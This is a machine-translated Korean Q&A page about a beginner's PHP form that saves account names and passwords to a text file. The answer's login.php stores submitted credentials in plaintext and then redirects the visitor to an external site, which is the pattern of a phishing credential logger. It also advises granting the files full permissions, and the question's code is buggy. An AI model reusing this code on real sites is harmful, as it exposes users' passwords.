로그인을 만들고 php를 사용하여 텍스트 파일에 사용자 입력을 저장합니다.

에드 K

사용자가 계정 생성 버튼을 클릭하면 로그인 이름과 비밀번호를 입력하는 다음 양식이있는 페이지로 이동하는 간단한 로그인 사이트에 대한 계정 생성 페이지를 생성하고 싶습니다.

<form action = "createaccount.php" method="get">
    <h1> Please enter your information to create a new login account</h1>
    <p>  
        <label>Login Name:</label><input type = "text"  name = "name" />
        <label>Password:</label><input type = "password" name = "pwd" />
        <br/><br/>
    </p>
    <input type = "submit"  id = "submit" value = "submit"/>
    <input type = "reset"  id = "reset" value = "reset"/>
</form>

사용자가 입력 상자에 데이터를 입력 한 후 php 스크립트를 실행하여이 데이터를 accounts.php라는 텍스트 파일에 저장하고 싶습니다 (안전하지 않다는 것을 알고 있지만이 데이터는 내가 구성 할 때 가치가 없습니다. 학습 과정의 일부로).

지금까지 createaccount.php 파일에 데이터를 저장하는 다음 PHP 코드가 있습니다.

<?php
    $username = $_GET['name'];
    $password = $_GET['pwd'];
    $filename = 'accounts.txt';
    $fp = fopen($filename, 'a+');
    fwrite ($fp, $username . "," . $password . "\n");
    $fclose ($fp);
    echo ("account created");
    header("Location: "login.html"); 
    die();
?>

이 코드는 로그인 이름과 암호에서 입력을 가져 와서 다음 형식으로 accounts.txt라는 파일에 저장해야한다고 생각합니다.

username1:password1
username2:password2
etc.

그런 다음 생성 된 화면 계정을 표시 한 다음 사용자를 내 login.html 페이지로 이동하여 새 계정 정보로 로그인 할 수 있도록합니다.

하지만 코드를 실행하려고 시도했는데 내 데이터가 파일에 전혀 저장되지 않고 양식을 제출할 때 로그인 화면으로 돌아 가지 않고 페이지를 표시 할 수 없다는 메시지가 표시됩니다.

유전학

간단한 로그인 양식을 만드는 방법.

html (login.html)

<form action="login.php" method="post">
<input type="text" id="username" name="username"/>
<input type="password" id="password" name="password"/>
<input type="submit" name="Login" value="Login">
</form>

php (login.php)

<html>
 <head>
  <title>Login</title>
 </head>
 <body>

<?php

//If Submit Button Is Clicked Do the Following
if ($_POST['Login']){

$myFile = "log.txt";
$fh = fopen($myFile, 'a') or die("can't open file");
$stringData = $_POST['username'] . ":";
fwrite($fh, $stringData);
$stringData = $_POST['password'] . "\n";
fwrite($fh, $stringData);
fclose($fh);

} ?>


//goes here after
<script>location.href='https://YOURWEBSITE.com';</script>
	 
 </body>
</html>

도움이 되었기를 바랍니다. 다른 질문이 있으면 스카이프에 추가됩니다. Skype : YouRGenetics 웹 사이트 : ItzGenetics.com

~ 참고 권한을 사용하는 호스팅 회사 (GoDaddy, ect)를 사용하는 경우 php 파일과 txt 파일에 대한 모든 권한을 부여해야합니다.

이 기사는 인터넷에서 수집됩니다. 재 인쇄 할 때 출처를 알려주십시오.

침해가 발생한 경우 연락 주시기 바랍니다[email protected] 삭제

에서 수정
0

몇 마디 만하겠습니다

0리뷰
로그인참여 후 검토

관련 기사

분류에서Dev

find 명령의 출력에서 텍스트 파일을 만들고 SFTP를 사용하여 텍스트 파일을 원격 서버로 보냅니다.

분류에서Dev

텍스트 파일을 읽고 모든 문자를 소문자로 만들고 배열에 저장합니다.

분류에서Dev

여러 사용자 입력을 텍스트 파일에 저장

분류에서Dev

PHP를 사용하여 어떻게 만들고 텍스트 파일에 저장합니까?

분류에서Dev

JOptionPane에서 사용자 입력을 읽고 텍스트 파일에 저장

분류에서Dev

Python에서 자체 함수를 사용하여 파일을 만들고 Anaconda 루트에 저장

분류에서Dev

패스 사용자 입력을 배열에 전달하는 방법은 여러 번 그들이 원하는만큼 PHP로 데이터를 인쇄합니까?

분류에서Dev

텍스트 파일 목록에 저장된 파일 이름을 사용하여 파일을 만듭니다.

분류에서Dev

사용자 입력을 텍스트 파일 C ++에 저장

분류에서Dev

사용자 입력을 위해 텍스트 파일을 사용하고 버튼으로 저장 Android Studio

분류에서Dev

명령 프롬프트에서 사용자 입력을 받아 텍스트 파일에 저장하는 .bat 파일을 만듭니다.

분류에서Dev

배치를 사용하여 명령을 실행하고 출력을 텍스트 파일에 저장하려면 어떻게해야합니까?

분류에서Dev

AWS RDS를 사용하여 사용자 입력을 데이터베이스에 저장하는 경우 내 PHP 파일은 어디에 있어야합니까?

분류에서Dev

응용 프로그램 시작에서 File.ReadAllText ()를 사용하여 텍스트 파일을 저장하고 읽는 방법은 무엇입니까?

분류에서Dev

클라이언트 측에서 파일을 열고, 만들고, 데이터를 저장하고, 해당 데이터를 재사용합니다.

분류에서Dev

PHP를 사용하여 사용자 입력 및 시간을 텍스트 파일에 기록

분류에서Dev

확인란 텍스트를 일치시키고 검색 필드의 사용자 입력을 기반으로 한 텍스트 만 표시합니다.

분류에서Dev

내 서버에 파일을 만들고 PHP를 사용하여 일부 내용을 작성해야합니다.

분류에서Dev

사용자로부터 이름이 오는 텍스트 파일을 만들고 그 안에 쓰기를 원합니까?

분류에서Dev

텍스트 기반 '데이터베이스'를 만들 때 배열을 사용하여 동일한 개체의 여러 인스턴스를 저장하려고 할 때 null 포인터 예외가 발생합니다.

분류에서Dev

텍스트 파일에 사용자 입력을 쓰는 PHP 스크립트를 가져올 수 없습니다.

분류에서Dev

Java가 사용자 입력에 따라 다른 매개 변수를 사용하여 switch 문을 사용하여 개체를 만들려고합니다.

분류에서Dev

xml 태그에서 값을 얻고 텍스트 파일 끝에 새 줄과 카운트 수를 사용하여 텍스트 파일에 저장하는 방법

분류에서Dev

PHP를 사용하여 zip 파일을 만들고 저장할 수 없습니다.

분류에서Dev

텍스트 파일을 정렬하고 Java를 사용하여 저장하는 방법은 무엇입니까?

분류에서Dev

Tkinter는 asksaveasfile을 사용하여 텍스트 파일을 저장합니다.

분류에서Dev

단일 파일을 백업 할 별칭을 사용하여 스크립트를 만들려고합니다.

분류에서Dev

매개 변수와 여러 조인을 사용하여 저장 프로 시저를 만들려고합니다.

분류에서Dev

기본 js를 사용하여 앵커 태그의 텍스트와 일치하는 경우 사용자 입력을 확인합니다.

Related 관련 기사

  1. 1

    find 명령의 출력에서 텍스트 파일을 만들고 SFTP를 사용하여 텍스트 파일을 원격 서버로 보냅니다.

  2. 2

    텍스트 파일을 읽고 모든 문자를 소문자로 만들고 배열에 저장합니다.

  3. 3

    여러 사용자 입력을 텍스트 파일에 저장

  4. 4

    PHP를 사용하여 어떻게 만들고 텍스트 파일에 저장합니까?

  5. 5

    JOptionPane에서 사용자 입력을 읽고 텍스트 파일에 저장

  6. 6

    Python에서 자체 함수를 사용하여 파일을 만들고 Anaconda 루트에 저장

  7. 7

    패스 사용자 입력을 배열에 전달하는 방법은 여러 번 그들이 원하는만큼 PHP로 데이터를 인쇄합니까?

  8. 8

    텍스트 파일 목록에 저장된 파일 이름을 사용하여 파일을 만듭니다.

  9. 9

    사용자 입력을 텍스트 파일 C ++에 저장

  10. 10

    사용자 입력을 위해 텍스트 파일을 사용하고 버튼으로 저장 Android Studio

  11. 11

    명령 프롬프트에서 사용자 입력을 받아 텍스트 파일에 저장하는 .bat 파일을 만듭니다.

  12. 12

    배치를 사용하여 명령을 실행하고 출력을 텍스트 파일에 저장하려면 어떻게해야합니까?

  13. 13

    AWS RDS를 사용하여 사용자 입력을 데이터베이스에 저장하는 경우 내 PHP 파일은 어디에 있어야합니까?

  14. 14

    응용 프로그램 시작에서 File.ReadAllText ()를 사용하여 텍스트 파일을 저장하고 읽는 방법은 무엇입니까?

  15. 15

    클라이언트 측에서 파일을 열고, 만들고, 데이터를 저장하고, 해당 데이터를 재사용합니다.

  16. 16

    PHP를 사용하여 사용자 입력 및 시간을 텍스트 파일에 기록

  17. 17

    확인란 텍스트를 일치시키고 검색 필드의 사용자 입력을 기반으로 한 텍스트 만 표시합니다.

  18. 18

    내 서버에 파일을 만들고 PHP를 사용하여 일부 내용을 작성해야합니다.

  19. 19

    사용자로부터 이름이 오는 텍스트 파일을 만들고 그 안에 쓰기를 원합니까?

  20. 20

    텍스트 기반 '데이터베이스'를 만들 때 배열을 사용하여 동일한 개체의 여러 인스턴스를 저장하려고 할 때 null 포인터 예외가 발생합니다.

  21. 21

    텍스트 파일에 사용자 입력을 쓰는 PHP 스크립트를 가져올 수 없습니다.

  22. 22

    Java가 사용자 입력에 따라 다른 매개 변수를 사용하여 switch 문을 사용하여 개체를 만들려고합니다.

  23. 23

    xml 태그에서 값을 얻고 텍스트 파일 끝에 새 줄과 카운트 수를 사용하여 텍스트 파일에 저장하는 방법

  24. 24

    PHP를 사용하여 zip 파일을 만들고 저장할 수 없습니다.

  25. 25

    텍스트 파일을 정렬하고 Java를 사용하여 저장하는 방법은 무엇입니까?

  26. 26

    Tkinter는 asksaveasfile을 사용하여 텍스트 파일을 저장합니다.

  27. 27

    단일 파일을 백업 할 별칭을 사용하여 스크립트를 만들려고합니다.

  28. 28

    매개 변수와 여러 조인을 사용하여 저장 프로 시저를 만들려고합니다.

  29. 29

    기본 js를 사용하여 앵커 태그의 텍스트와 일치하는 경우 사용자 입력을 확인합니다.

뜨겁다태그

보관